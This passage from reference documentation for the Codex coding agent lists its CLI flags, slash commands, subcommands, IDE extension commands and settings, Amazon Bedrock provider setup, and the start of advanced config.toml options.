| `--worktree` | boolean (default `false`) | Start in a new managed Git worktree. Supports new interactive sessions, `codex fork <SESSION_ID>`, `codex exec`, and `codex exec fork`; requires local execution. |
| `--remote` | ws://host:port \| wss://host:port \| unix:// \| unix://PATH | Connect to a remote app-server endpoint. Supported for `codex`, `codex agents`, `codex queue`, `codex resume`, `codex fork`, `codex archive`, `codex delete`, `codex unarchive`; other subcommands reject remote mode. |
| `--remote-auth-token-env` | ENV_VAR | Read a bearer token from this environment variable and send it with `--remote`. Requires `--remote`; tokens are only sent over `wss://` or local-only `ws://` URLs. |
| `--strict-config` | boolean (default `false`) | Error when `config.toml` contains fields this Codex version does not recognize. Supported by `codex`, `exec`, `review`, `resume`, `fork`, `app-server`, `exec-server`. |
| `--enable` | feature | Force-enable a feature flag (translates to `-c features.<name>=true`). Repeatable. |
| `--disable` | feature | Force-disable a feature flag (translates to `-c features.<name>=false`). Repeatable. |
| `--config, -c` | key=value | Override configuration values. Values parse as TOML if possible; otherwise the literal string is used. |
Command overview (maturity as labelled in the source):
| Command | Maturity | Description |
|---------|----------|-------------|
| `codex` | stable | Launch the terminal UI. |
| `codex agents` | stable | Open the agent command center on a shared local or remote server. |
| `codex queue` | stable | Queue a text message for an existing session by UUID or exact name. |
| `codex app-server` | experimental | Launch the Codex app server for development/debugging over stdio, WebSocket, or Unix socket. |
| `codex remote-control` | experimental | Run or manage remote control for the local app-server, or create a short-lived pairing code. |
| `codex app` | stable | Launch the ChatGPT desktop app on macOS or Windows. |
| `codex debug app-server send-message-v2` | experimental | Send a single V2 message through the built-in test client. |
| `codex debug models` | experimental | Print the raw model catalog Codex sees (`--bundled` for the bundled catalog only). |
| `codex debug prompt-input` | experimental | Render the model-visible prompt input list as JSON. |
| `codex apply` (alias `codex a`) | stable | Apply the latest diff from a Codex cloud chat to the local working tree. |
| `codex review` | stable | Non-interactive review of uncommitted changes, a base branch diff, a commit, or custom instructions. |
| `codex archive` / `codex unarchive` | stable | Archive or restore a saved interactive session. |
| `codex delete` | stable | Permanently delete a saved interactive session. |
| `codex cloud` (alias `codex cloud-tasks`) | experimental | Browse or execute Codex cloud chats without the TUI. |
| `codex completion` | stable | Generate shell completion scripts (Bash, Zsh, Fish, PowerShell). |
| `codex doctor` | stable | Diagnostic report for installation, config, auth, runtime, Git, terminal, app-server, thread inventory. |
| `codex features` | stable | List feature flags and persistently enable/disable them in `config.toml`. |
| `codex exec` (alias `codex e`) | stable | Run Codex non-interactively. |
| `codex execpolicy` | experimental | Evaluate execpolicy rule files. |
| `codex login` / `codex logout` | stable | Authenticate / remove stored credentials. |
| `codex mcp` | stable | Manage MCP servers. |
| `codex plugin marketplace` | stable | Add, list, upgrade, or remove plugin marketplaces. |
| `codex plugin` | stable | Install, list, and remove plugins. |
| `codex resume` | stable | Continue a previous interactive session. |
| `codex fork` | stable | Fork a previous interactive session into a new chat. |
| `codex sandbox` | stable | Run commands inside Codex-provided macOS, Linux, or Windows sandboxes. |
| `codex update` | stable | Check for and apply a CLI update when the installed release supports self-update. |
## Notes
- The CLI inherits most defaults from `~/.codex/config.toml`; `-c key=value` overrides take precedence for that invocation.
- Web search defaults to cached mode; `--search` switches to live.
- For low-friction local work: `--sandbox workspace-write --ask-for-approval on-request`.
- Prefer `--add-dir` over `--sandbox danger-full-access` to grant write access to more directories; avoid `--dangerously-bypass-approvals-and-sandbox` outside a dedicated sandbox VM.
- `codex mcp-server` and the standalone `codex-mcp-server` binary have been removed; use the Codex app server instead.
- Interactive shortcuts: `@` file search, Up/Down draft history, Ctrl+R prompt history search, Ctrl+O or `/copy` copy latest output, `!` prefix runs a local shell command under current approval/sandbox settings, Tab queues a follow-up while working, Enter injects instructions into the current turn, Esc twice with an empty composer edits the previous message and forks, Ctrl+C or `/exit` closes the session.
- Source: https://learn.chatgpt.com/docs/developer-commands?surface=cli (fetched 2026-10).
## Related
- [cli-subcommands.md](./cli-subcommands.md)
- [cli-slash-commands.md](./cli-slash-commands.md)
references/commands/cli-slash-commands.md
# Slash commands in Codex CLI
Keyboard-first in-session controls. Type `/` in the composer to open the slash popup and filter by name.
## Signature / Usage
```text
/model
/plan Propose a migration plan for this service
/goal Finish the migration and keep tests green
/export session.md
/usage daily
```
While a chat is running, type a slash command and press `Tab` to queue it for the next turn; queued commands are parsed when they run.
## Options / Props
| Command | Purpose |
|---------|---------|
| `/permissions` | Set what Codex can do without asking first (e.g. Auto vs Read Only; custom permission profiles appear when active). |
| `/ide` | Include open files, current selection, and IDE context in the next prompt. |
| `/keymap` | Remap TUI shortcuts; persists to `tui.keymap` (names like `ctrl-a`, `shift-enter`, `page-down`). |
| `/vim` | Toggle Vim mode for the composer (default via `tui.vim_mode_default = true`). |
| `/setup-default-sandbox` | Windows only, when using the degraded restricted-token sandbox: set up the elevated sandbox. |
| `/agents` | Open the agent command center (needs a shared local or remote server). |
| `/subagents` | Switch the active subagent thread. |
| `/apps` | Browse apps (connectors); inserts `$app-slug` into the composer. |
| `/plugins` | Browse installed and discoverable plugins; Space toggles an installed plugin. |
| `/hooks` | View and manage lifecycle hooks; trust, disable, or re-enable non-managed hooks. |
| `/clear` | Clear the terminal and start a fresh chat (`/clear <name>` names it). Ctrl+L only clears the view. |
| `/rename` | Rename the current chat (`/rename <name>`). |
| `/archive` | Archive the current session (restore with `codex unarchive <SESSION>`). |
| `/delete` | Permanently delete the current session and descendant sessions; unavailable while running or in a side chat. |
| `/compact` | Summarize the visible chat to free context. |
| `/copy` | Copy the latest completed output (also Ctrl+O). |
| `/diff` | Show the Git diff, including untracked files. |
| `/exit`, `/quit` | Exit the CLI. |
| `/experimental` | Toggle experimental features (e.g. Network proxy, Prevent sleep while running). |
| `/approve` | Approve one retry of a recent auto-review denial. |
| `/memories` | Configure memory use and generation. |
| `/skills` | Browse and use skills. |
| `/import` | Import Claude Code or Cursor setup, projects, chats (up to 50 chats from the last 30 days). Local TUI only; unavailable while a task runs, in remote sessions, and while connected to the local app-server daemon. |
| `/feedback` | Send logs to the Codex maintainers. |
| `/init` | Generate an `AGENTS.md` scaffold in the current directory. |
| `/logout` | Sign out of Codex. |
| `/mcp` | List configured MCP tools; `/mcp verbose` for diagnostics; `/mcp login <name>`. |
| `/mention` | Attach a file to the chat (`/mention src/lib/api.ts`). |
| `/model` | Choose the active model (and reasoning effort when available). |
| `/fast` | Toggle a Fast service tier when the model catalog exposes one. |
| `/plan` | Switch to plan mode, optionally with inline prompt text. Unavailable while Codex is working. |
| `/goal` | `/goal <objective>` sets; `/goal` views; `edit`, `pause`, `resume`, `clear`. Objective non-empty, max 4,000 characters. |
| `/ps` | Show background terminals and up to three recent output lines (when `unified_exec` is in use). |
| `/stop` | Stop all background terminals (`/clean` is an alias). |
| `/fork` | Fork the current chat into a new chat. |
| `/app` | Continue the session in the ChatGPT desktop app (macOS, Windows). |
| `/side`, `/btw` | Start an ephemeral side chat; unavailable in another side chat and during review mode. |
| `/raw` | Toggle raw scrollback (`/raw on` / `/raw off`; Alt+R; `tui.raw_output_mode = true`). |
| `/resume` | Resume a saved chat from the session picker. |
| `/new` | Start a new chat in the same CLI session (`/new <name>`). Unlike `/clear`, doesn't clear the terminal view. |
| `/review` | Review the working tree; uses the session model unless `review_model` is set in `config.toml`. |
| `/status` | Show active model, approval policy, writable roots, token usage (plus remote address and server version when remote). |
| `/usage` | Usage menu; `/usage daily`, `/usage weekly`, `/usage cumulative`. |
| `/debug-config` | Print config layer order (lowest precedence first) and policy diagnostics. |
| `/statusline` | Configure footer items; persists to `tui.status_line`. |
| `/title` | Configure terminal title items; persists to `tui.terminal_title`. |
| `/theme` | Choose a syntax theme; persists to `tui.theme`. |
| `/pets`, `/pet` | Choose or hide a terminal pet (`/pets off`). |
| `/tui` | Choose scrollback or fullscreen terminal mode for the next launch (`--no-alt-screen` overrides still apply). |
| `/export` | Export the conversation as Markdown (clipboard or file). |
| `/recap` | Summarize the conversation without compacting, even if `tui.auto_recap = false`. |
| `/cd`, `/pwd`, `/cwd` | Change / show the working directory (idle primary session, no queued input or background terminals). |
| `/worktree` | Start or continue a chat in a managed Git worktree; unavailable while a task runs. |
| `/daemon` | Open background server controls; confirming an update exits Codex. |
| `/warnings` | View retained warnings and diagnostics. |
## Notes
- `/copy` is unavailable before the first completed output and right after a rollback; `/clear` and Ctrl+L are disabled while a task is in progress.
- `/fast` is catalog-driven and hidden if the current model doesn't advertise a Fast tier.
- The `/model` picker only lists models available to your account and workspace.
- Use `/quit` and `/exit` only after saving or committing important work.
- Source: https://learn.chatgpt.com/docs/developer-commands?surface=cli (fetched 2026-10).
## Related
- [cli-global-flags.md](./cli-global-flags.md)
- [cli-subcommands.md](./cli-subcommands.md)
- [ide-slash-commands.md](./ide-slash-commands.md)
references/commands/cli-subcommands.md
# Codex CLI subcommands
Per-command details and options for `codex exec`, `review`, `cloud`, `mcp`, `plugin`, `sandbox`, `agents`, `queue`, `app-server`, `resume`, `fork`, `login`, `update` and others.
## Signature / Usage
```bash
codex queue --thread <SESSION_ID> --message "Run the remaining checks"
codex exec --worktree "implement the next step"
codex exec fork <SESSION_ID> --worktree "try an alternative approach"
codex archive <SESSION>
codex delete <SESSION_UUID> --force
codex completion zsh > "${fpath[1]}/_codex"
```
## Options / Props
`codex exec` (alias `codex e`):
| Name | Type | Description |
|------|------|-------------|
| `PROMPT` | string \| `-` | Initial instruction; `-` pipes the prompt from stdin. |
| `--image, -i` | path[,path...] | Attach images to the first message. |
| `--model, -m` | string | Override the configured model. |
| `--oss` / `--local-provider` | boolean / lmstudio \| ollama | Local open source provider; exits with an error if neither `--local-provider` nor `oss_provider` is set. |
| `--sandbox, -s` | read-only \| workspace-write \| danger-full-access | Sandbox policy; defaults to configuration. |
| `--profile, -p` | string | Layer `$CODEX_HOME/profile-name.config.toml`. |
| `--approve-for-me, --not-so-yolo` | boolean | Automatic approval review; conflicts with `--sandbox` and `--yolo`. |
| `--dangerously-bypass-approvals-and-sandbox, --yolo` | boolean | Bypass approvals and sandboxing; only in an isolated runner. |
| `--dangerously-bypass-hook-trust` | boolean | Run enabled hooks without persisted hook trust. |
| `--cd, -C` | path | Set the workspace root. |
| `--worktree` | boolean | Managed Git worktree; local only; can't combine with `resume`, `review`, `--ephemeral`, `--ignore-user-config`. |
| `--skip-git-repo-check` | boolean | Allow running outside a Git repository. |
| `--ephemeral` | boolean | Don't persist session rollout files. |
| `--ignore-user-config` | boolean | Don't load `$CODEX_HOME/config.toml` (auth still uses `CODEX_HOME`). |
| `--ignore-rules` | boolean | Don't load user or project execpolicy `.rules` files. |
| `--output-schema` | path | JSON Schema file describing the expected final response shape. |
| `--color` | always \| never \| auto (default `auto`) | ANSI color in stdout. |
| `--json, --experimental-json` | boolean | Newline-delimited JSON events instead of formatted text. |
| `--output-last-message, -o` | path | Write the final assistant message to a file. |
| `-c, --config` | key=value | Inline config override (repeatable). |
`codex exec resume [SESSION_ID]`: `--last` (most recent session in cwd), `--all` (any directory), `--image, -i`, optional follow-up `PROMPT` (`-` reads stdin). `codex exec fork <SESSION_ID> [PROMPT]` copies a saved session (UUID or name); with no prompt the fork is created without starting a turn. A prompt is required with images, `--output-schema`, `--output-last-message`, or `--ephemeral`.
`codex review`:
| Name | Type | Description |
|------|------|-------------|
| `PROMPT` | string \| `-` | Custom review instructions; `-` reads stdin. |
| `--uncommitted` | boolean | Review staged, unstaged, and untracked changes. |
| `--base` | branch | Review changes against the base branch. |
| `--commit` | SHA | Review the changes introduced by a commit. |
| `--title` | string | Commit title shown in the review summary; requires `--commit`. |
| `--strict-config` | boolean | Error on unrecognized `config.toml` fields. |
`--uncommitted`, `--base`, `--commit`, and a custom `PROMPT` conflict with one another.
`codex resume`: `SESSION_ID` (uuid or name), `--last`, `--all`, `--include-non-interactive`. Accepts model and sandbox overrides but not `--worktree`. `codex fork`: `SESSION_ID` (uuid), `--last`, `--all`; fork into a managed worktree with `codex fork <SESSION_ID> --worktree` (explicit session ID required, no `--last`/picker). When the cwd differs from the session's saved directory Codex asks which to use; `tui.resume_cwd` = `"current"` or `"session"` skips the prompt, and an explicit `--cd` takes precedence.
`codex archive` / `codex unarchive` / `codex delete`: `SESSION` (ID or name; IDs take precedence), `--remote`, `--remote-auth-token-env`; `delete` also has `--force` (UUID only; names still prompt).
`codex cloud`: default opens an interactive picker. `codex cloud exec`: `QUERY`, `--env ENV_ID` (required), `--attempts 1-4` (default 1). `codex cloud list`: `--env`, `--limit 1-20` (default 20), `--cursor`, `--json` (payload has `tasks` array and optional `cursor`; each task has `id`, `url`, `title`, `status`, `updated_at`, `environment_id`, `environment_label`, `summary`, `is_review`, `attempt_total`).
`codex app-server`:
| Name | Type | Description |
|------|------|-------------|
| `--stdio` | boolean | Alias for `--listen stdio://`; mutually exclusive with `--listen`. |
| `--listen` | stdio:// \| ws://IP:PORT \| unix:// \| unix://PATH \| off (default `stdio://`) | Transport listener URL. |
| `--code-mode-host` | ws://HOST/PATH \| wss://HOST/PATH | Connect to a remote Code Mode host; separate from `--listen`, shared across threads. Use `ws://` only for localhost or SSH-forwarded hosts. |
| `--ws-auth` | capability-token \| signed-bearer-token | WebSocket client auth mode; disabled if omitted (non-local listeners warn at startup). |
| `--ws-token-file` / `--ws-token-sha256` | absolute path / hex SHA-256 | Capability-token source / expected digest. |
| `--ws-shared-secret-file` | absolute path | HMAC secret for signed JWT bearer tokens; required with `signed-bearer-token`. |
| `--ws-issuer` / `--ws-audience` | string | Expected `iss` / `aud` claims. |
| `--ws-max-clock-skew-seconds` | number (default 30) | Clock skew allowance for `exp`/`nbf`. |
| `--analytics-default-enabled` | boolean | Default analytics to enabled for first-party clients unless the user opts out. |
`codex remote-control`: bare command starts remote control via the managed background server (foreground fallback); `--no-daemon` forces foreground (bare command only); `start` / `stop` / `pair` (prints a short-lived pairing code; JSON has `pairingCode`, `manualPairingCode`, `environmentId`, `expiresAt`); `--json` on any. `codex agents`: `--remote <URL>`, `--cd <DIR>`; no `--no-daemon`. `codex queue`: `--thread` (UUID or exact name), `--message`, `--remote`, `--remote-auth-token-env`; no image attachments.
`codex app [PATH]` (default `.`; `--download-url` installer override). `codex debug models [--bundled]`; `codex debug prompt-input [PROMPT] [--image]`; `codex debug app-server send-message-v2 <USER_MESSAGE>` (initializes with `experimentalApi: true`). `codex apply <TASK_ID>` (exits non-zero if `git apply` fails). `codex completion [SHELL]` (bash default; bash \| zsh \| fish \| power-shell \| elvish). `codex doctor`: `--json`, `--summary`, `--all`, `--no-color`, `--ascii`. `codex features`: `list` / `enable <feature>` / `disable <feature>` (persist in `$CODEX_HOME/config.toml`; no `--profile`). `codex execpolicy check`: `--rules, -r` (repeatable), `--pretty`, `COMMAND...`.
`codex login`: `--with-api-key`, `--with-access-token` (read from stdin), `--device-auth`, `codex login status` (exit 0 when logged in). `codex logout` has no flags.
`codex mcp`: `list [--json]`, `get <name> [--json]`, `add <name> (-- <command...> | --url <value>)`, `remove <name>`, `login <name> [--scopes a,b]`, `logout <name>`. `add` options: `--env KEY=VALUE` (stdio, repeatable), `--url`, `--bearer-token-env-var`, `--oauth-client-id`, `--oauth-resource` (the last two require `--url`). OAuth actions work only for streamable HTTP servers that support OAuth.
`codex plugin`: `add <plugin[@marketplace]> [--marketplace, -m NAME] [--json]`, `list [--marketplace NAME] [--available --json] [--json]`, `remove <plugin[@marketplace]>`, `marketplace`. `codex plugin marketplace`: `add <source> [--ref REF] [--sparse PATH] [--json]` (GitHub `owner/repo[@ref]`, HTTP(S)/SSH Git URL, or local root; `--sparse` Git only, repeatable), `list`, `upgrade [name]`, `remove <name>`.
`codex sandbox` (macOS Seatbelt / Linux bubblewrap + seccomp / native Windows): `--profile, -p NAME`, `--permission-profile, -P NAME`, `--cd, -C DIR` (requires `--permission-profile`), `--include-managed-config` (requires `--permission-profile`), `--config, -c`, `COMMAND...` after `--`. macOS only: `--allow-unix-socket PATH` (repeatable), `--log-denials`.
## Notes
- `codex execpolicy` is in preview. `codex app-server` is mainly for development and debugging and may change without notice.
- `codex update` applies only when the installed release supports self-update; debug builds print a message to install a release build.
- Pair `--json` with `--output-last-message` in CI to capture machine-readable progress plus a final summary.
- Source: https://learn.chatgpt.com/docs/developer-commands?surface=cli (fetched 2026-10).
## Related
- [cli-global-flags.md](./cli-global-flags.md)
- [cli-slash-commands.md](./cli-slash-commands.md)
references/commands/ide-commands.md
# Codex IDE extension commands
Command Palette commands of the Codex VS Code extension and how to bind them to keyboard shortcuts.
## Signature / Usage
```text
1. Open the Command Palette (Cmd+Shift+P on macOS, Ctrl+Shift+P on Windows/Linux).
2. Run "Preferences: Open Keyboard Shortcuts".
3. Search for `Codex` or the command ID (for example, `chatgpt.newChat`).
4. Select the pencil icon, then enter the shortcut you want.
```
## Options / Props
| Command | Default key binding | Description |
|---------|---------------------|-------------|
| `chatgpt.addToThread` | - | Add selected text range as context for the current chat |
| `chatgpt.addFileToThread` | - | Add the entire file as context for the current chat |
| `chatgpt.newChat` | macOS: `Cmd+N`; Windows/Linux: `Ctrl+N` | Create a new chat |
| `chatgpt.newCodexPanel` | - | Create a new Codex panel |
| `chatgpt.openCommandMenu` | - | Open the Codex command menu |
| `chatgpt.openSidebar` | - | Open the Codex sidebar panel |
## Notes
- Source: https://learn.chatgpt.com/docs/developer-commands?surface=ide (fetched 2026-10).
## Related
- [ide-slash-commands.md](./ide-slash-commands.md)
- [ide-settings.md](./ide-settings.md)
references/commands/ide-settings.md
# Codex IDE extension settings
Two settings layers: Codex settings (`config.toml`, shared with the CLI) and editor settings (`chatgpt.*` keys in the editor's settings system).
## Signature / Usage
```text
1. Open your editor settings.
2. Search for `@ext:openai.chatgpt`, `Codex`, or the setting name.
3. Update the value.
```
Open Codex settings via the gear icon in the Codex sidebar, then **Codex Settings**; **Open config.toml** edits the active configuration layer directly.
## Options / Props
| Setting | Default | Description |
|---------|---------|-------------|
| `chatgpt.commentCodeLensEnabled` | `true` | Show CodeLens above `TODO` comments so Codex can address them. |
| `chatgpt.openOnStartup` | `false` | Focus the Codex sidebar when the extension finishes starting. |
| `chatgpt.followUpQueueMode` | `queue` | Messages sent during a run wait for the next run (`queue`) or steer the current run (`steer`). Legacy `interrupt` is treated as `steer`. Cmd/Ctrl+Shift+Enter inverts the behavior for one message. |
| `chatgpt.composerEnterBehavior` | `enter` | Enter always sends (`enter`), Cmd/Ctrl+Enter sends multiline prompts (`cmdIfMultiline`), or the modifier is always required (`cmdAlways`). |
| `chatgpt.reviewDelivery` | `inline` | Run `/review` in the current chat when possible (`inline`) or start a separate review chat (`detached`). |
| `chatgpt.localeOverride` | Auto | Preferred language for the Codex UI; empty to auto-detect. |
| `chatgpt.runCodexInWindowsSubsystemForLinux` | `false` | Windows only: run Codex in WSL when available. Changing this reloads VS Code. |
| `chatgpt.cliExecutable` | Unset | Development only: path to the Codex CLI executable. Overriding the bundled executable can break parts of the extension. |
| `chat.fontSize` | Editor default | Chat text in the Codex sidebar, including the composer. |
| `chat.editor.fontSize` | Editor default | Code-rendered content in Codex chats, including snippets and diffs. |
## Notes
- The `chatgpt.*` keys belong to the IDE extension and don't go in `config.toml`; shared agent settings (model, reasoning effort, permissions, sandbox, MCP servers, personalization) live in `config.toml`.
- The extension also honors VS Code's built-in chat font settings for Codex chat surfaces.
- Source: https://learn.chatgpt.com/docs/developer-settings?surface=ide (fetched 2026-10).
## Related
- [ide-commands.md](./ide-commands.md)
- [ide-slash-commands.md](./ide-slash-commands.md)
references/commands/ide-slash-commands.md
# Codex IDE extension slash commands
Slash commands let you control Codex without leaving the composer: check status, switch between local and cloud mode, or send feedback.
## Signature / Usage
```text
1. In the Codex composer, type `/`.
2. Select a command from the list, or keep typing to filter (for example, `/status`).
3. Press Enter.
```
## Options / Props
| Slash command | Description |
|---------------|-------------|
| `/approve` | Approve one retry of a recent automatic-review denial, when automatic review is active. |
| `/cloud` | Run the chat in the cloud, when cloud execution is available. |
| `/cloud-environment` | Choose the cloud environment for the chat. |
| `/compact` | Compact the current chat's context. |
| `/fast` | Turn a catalog-provided Fast service tier on or off, when available. |
| `/feedback` | Open the feedback dialog to submit feedback and optionally include logs. |
| `/fork` | Copy a local chat into a new local chat. |
| `/goal` | Set a persistent goal for Codex to work toward. |
| `/ide-context` | Turn automatic IDE context on or off. |
| `/init` | Generate an `AGENTS.md` scaffold for the current project. |
| `/local` | Run the chat in your local workspace. |
| `/mcp` | Open MCP status to view connected servers. |
| `/memories` | Configure whether the chat can use or generate memories, when Memories is available. |
| `/model` | Choose the model for the current chat. |
| `/personality` | Choose how Codex responds, when the current model supports personalities. |
| `/plan` | Toggle plan mode for multi-step planning. |
| `/project` | Choose a project for new chats. |
| `/reasoning` | Choose the reasoning effort for the current chat. |
| `/review` | Start code review mode to review uncommitted changes or compare against a base branch. |
| `/side` | Start a temporary side chat without interrupting the main chat. |
| `/status` | Show the chat ID, context usage, and rate limits. |
| `/worktree` | Run the chat in a new Git worktree. |
## Notes
- This is the IDE extension set; it differs from the Codex CLI list (for example `/cloud`, `/cloud-environment`, `/local`, `/personality`, `/project`, `/reasoning`, `/ide-context` appear here, while `/permissions`, `/resume`, `/diff` etc. are CLI commands).
- Source: https://learn.chatgpt.com/docs/developer-commands?surface=ide (fetched 2026-10).
## Related
- [ide-commands.md](./ide-commands.md)
- [cli-slash-commands.md](./cli-slash-commands.md)
references/commands/README.md
# Commands
| Name | Description | Path |
|------|-------------|------|
| ChatGPT desktop app commands | Keyboard shortcuts, chat search, and `codex://` deep links of the ChatGPT desktop app. | [app-commands.md](./app-commands.md) |
| ChatGPT desktop app settings | Sections of the desktop app Settings panel (open with Cmd+, on macOS, Ctrl+, on Windows, or `codex://settings`). | [app-settings.md](./app-settings.md) |
| Codex CLI global flags and command overview | Global flags of the base `codex` command and the overview of every documented CLI command with its maturity label. | [cli-global-flags.md](./cli-global-flags.md) |
| Slash commands in Codex CLI | Keyboard-first in-session controls. Type `/` in the composer to open the slash popup and filter by name. | [cli-slash-commands.md](./cli-slash-commands.md) |
| Codex CLI subcommands | Per-command details and options for `codex exec`, `review`, `cloud`, `mcp`, `plugin`, `sandbox`, `agents`, `queue`, `app-server`, `resume`, `fork`, `login`, `update` and others. | [cli-subcommands.md](./cli-subcommands.md) |
| Codex IDE extension commands | Command Palette commands of the Codex VS Code extension and how to bind them to keyboard shortcuts. | [ide-commands.md](./ide-commands.md) |
| Codex IDE extension settings | Two settings layers: Codex settings (`config.toml`, shared with the CLI) and editor settings (`chatgpt.*` keys in the editor's settings system). | [ide-settings.md](./ide-settings.md) |
| Codex IDE extension slash commands | Slash commands let you control Codex without leaving the composer: check status, switch between local and cloud mode, or send feedback. | [ide-slash-commands.md](./ide-slash-commands.md) |
references/config/amazon-bedrock.md
# Use ChatGPT Work and Codex with Amazon Bedrock
Configure local ChatGPT Work and Codex surfaces (desktop app, CLI, IDE extension, SDK) to use OpenAI models available through Amazon Bedrock. The OpenAI-hosted Responses API isn't in the request path: the local client sends model requests to Bedrock, which provides an OpenAI-compatible Responses API implementation for supported OpenAI models. Authentication is AWS-native (Bedrock API key or AWS IAM credentials); ChatGPT sign-in and `OPENAI_API_KEY` are not used for this provider.
## Signature / Usage
```toml
# ~/.codex/config.toml — Bedrock Runtime (cross-Region inference, CRIS); use for new configurations
model_provider = "amazon-bedrock-runtime"
web_search = "disabled"
```
```toml
# Bedrock Mantle (in-Region inference; supports hosted web search)
model_provider = "amazon-bedrock"
web_search = "cached"
```
```toml
# Optional explicit model, e.g. Astra with Global CRIS
model_provider = "amazon-bedrock-runtime"
model = "global.openai.gpt-6-astra"
```
```bash
export AWS_BEARER_TOKEN_BEDROCK=<your-bedrock-api-key>
export AWS_REGION=us-east-2
```
## Options / Props
| Name | Type | Description |
|------|------|-------------|
| `model_provider = "amazon-bedrock-runtime"` | config.toml | Bedrock Runtime endpoint `https://bedrock-runtime.{region}.amazonaws.com/openai/v1` (Global and Geo CRIS). Hosted web search isn't available. |
| `model_provider = "amazon-bedrock"` | config.toml | Bedrock Mantle endpoint `https://bedrock-mantle.{region}.api.aws/openai/v1` (in-Region inference). |
| Bedrock API key | env vars | `AWS_BEARER_TOKEN_BEDROCK` + `AWS_REGION` (a Region is required with this path). Checked first. |
| AWS SDK credential chain | fallback | Shared files (`aws configure`), `AWS_ACCESS_KEY_ID` / `AWS_SECRET_ACCESS_KEY` / `AWS_SESSION_TOKEN`, `aws login`, `aws sso login --profile <name>` + `AWS_PROFILE`, or a federated identity via `credential_process`. |
| `[model_providers.amazon-bedrock.aws]` `profile` / `region` | config.toml | Built-in provider AWS profile / region overrides (omit `profile` to use the standard credential chain). |
Supported models (Bedrock-side exact IDs):
| Endpoint | GPT-6 Astra | GPT-6 Sol | GPT-6 Luna |
|----------|-------------|-----------|------------|
| Runtime, Global CRIS | `global.openai.gpt-6-astra` | `global.openai.gpt-6-sol` | `global.openai.gpt-6-luna` |
| Runtime, United States Geo CRIS | `us.openai.gpt-6-astra` | `us.openai.gpt-6-sol` | `us.openai.gpt-6-luna` |
| Mantle, in-Region | `openai.gpt-6-astra` | `openai.gpt-6-sol` | `openai.gpt-6-luna` |
## Notes
- This page covers direct access to Bedrock. If your organization already provides a model gateway, use the "Use API/provider credentials" (connect-to-a-gateway) page; for a Bedrock-backed gateway see "Bedrock through LiteLLM" in the administration category.
- Before you start: AWS credentials, access to supported OpenAI models in Bedrock, an AWS Region where the model is available, and permission to invoke the model or inference profile (model-specific IAM requirements apply; e.g. GPT-6 Sol through Runtime also requires `bedrock:InvokeModel` on the account's default project).
- Codex uses the configured `model_provider` to choose which models appear in the picker; the built-in provider supplies its own model catalog. When switching endpoints, change the provider and any explicit model ID together. Use an inference profile ID for Runtime and a model ID for Mantle. Global CRIS routes to supported commercial Regions worldwide; Geo CRIS routes within the profile's geography. Codex's built-in Runtime picker lists the United States Geo and Global variants. Model availability varies by AWS Region (AWS "Regional availability by models" and "Supported Regions and models for inference profiles").
- GPT-6 Sol and Luna are available through Mantle in `us-east-1` (N. Virginia).
- Windows PowerShell: `$env:AWS_BEARER_TOKEN_BEDROCK = "<your-bedrock-api-key>"`, `$env:AWS_REGION = "us-east-2"`. For corporate SSO/OIDC federation, configure `credential_process` in the AWS profile and let the AWS SDK resolve credentials.
- Desktop app and IDE extension may not inherit shell environment variables — put required values in `~/.codex/.env` (Windows: `%USERPROFILE%\.codex\.env`) and restart the app/extension.
- Verify with `/status` in the CLI (provider `amazon-bedrock` for Mantle, `amazon-bedrock-runtime` for Runtime), or start a new task after restarting the desktop app / IDE extension; then send `Reply with exactly: bedrock-ok`. The reply alone doesn't identify the route; confirm provider and model in the client.
- Feature availability: local ChatGPT Work and Codex workflows are supported. Unavailable: ChatGPT Work on the web, Codex cloud and cloud chats, Fast mode (priority processing; Bedrock offers on-demand inference only), image generation and editing, voice dictation, hosted web search on Runtime (use Mantle), connectors, plugin sharing, Sites, Computer History, mobile remote control, GitHub delegation and PR reviews, Slack and Linear cloud integrations, workspace management (SAML SSO / MFA), cloud-managed config policies, RBAC and custom roles, SCIM / EKM / domain verification, retention and residency controls, analytics dashboard and API, Compliance API and audit logs, Codex Security cloud. Available: desktop app, CLI, IDE extension, SDK / `codex exec`, Codex Security CLI and plugin, `/review` local code review, auto-review, sandboxing and permission controls, scheduled tasks, worktrees and Git tools, local environments, Appshots, built-in browser, SSH remote connections, `AGENTS.md`, skills, MCP, subagents, `requirements.toml`. Limited: Computer Use (browser, Chrome, desktop), plugins (local bundles and OpenAI-curated plugins that don't require ChatGPT authentication), Memories.
- Codex Security CLI uses its own provider configuration; follow its Amazon Bedrock setup in the security CLI reference.
- Troubleshooting: exact model ID; correct provider for the endpoint (`amazon-bedrock-runtime` vs `amazon-bedrock`); Region where the model is available; valid, non-expired Bedrock API key or AWS credentials; IAM permission for the selected model; `AWS_BEARER_TOKEN_BEDROCK` isn't set to an expired or unintended key; desktop/IDE variables present in `~/.codex/.env`. Check AWS identity with `aws sts get-caller-identity --profile codex-bedrock` (checks identity, not model-invoke permission).
- Support boundaries: OpenAI Support covers client setup, configuration, local CLI / desktop app / IDE extension behavior. AWS credentials, IAM, Bedrock model access, quotas, billing, regional availability, request failures, and service logs go to the customer's AWS administrator or AWS Support.
- A brief `[model_providers.amazon-bedrock.aws]` form also appears among the custom-provider examples in `config-advanced.md`; this page is the dedicated Bedrock setup guide.
## Related
- [Advanced Configuration](./config-advanced.md)
- [Environment variables](./environment-variables.md)
- [Models](../getting-started/models.md)
references/config/config-advanced.md
# Advanced Configuration
More advanced `config.toml` options for providers, policies, and integrations.
## Profiles
Profiles are named configuration layers switched from the CLI. `--profile profile-name` loads `~/.codex/config.toml`, then overlays `~/.codex/profile-name.config.toml`. Names may contain letters, numbers, hyphens, underscores.
```toml
# ~/.codex/deep-review.config.toml
model = "gpt-6.1-sol"
model_reasoning_effort = "medium"
approval_policy = "on-request"
model_catalog_json = "/Users/me/.codex/model-catalogs/deep-review.json"
```
```shell
codex --profile deep-review
codex exec --profile deep-review "review this change"
```
A profile file only needs the values that differ from the base user config (it sits above user config, below project/CLI config). Use top-level keys in the profile file; don't nest them under `[profiles.profile-name]`. Profile files can also override `model_catalog_json`; Codex uses the profile value when both files set it. The example model requires GPT-6.1 Sol access; otherwise choose a model you can use.
In Codex 0.134.0 and later, `--profile` no longer reads `[profiles.profile-name]` from `config.toml`, and the top-level `profile = "profile-name"` selector is no longer supported; move legacy profile settings into `~/.codex/profile-name.config.toml` and remove the `[profiles.profile-name]` table and `profile` selector from `config.toml`.
## One-off overrides from the CLI
```shell
# Dedicated flag
codex --model gpt-6.1-sol
# Generic key/value override (value is TOML, not JSON)
codex --config model='"gpt-6.1-sol"'
codex --config sandbox_workspace_write.network_access=true
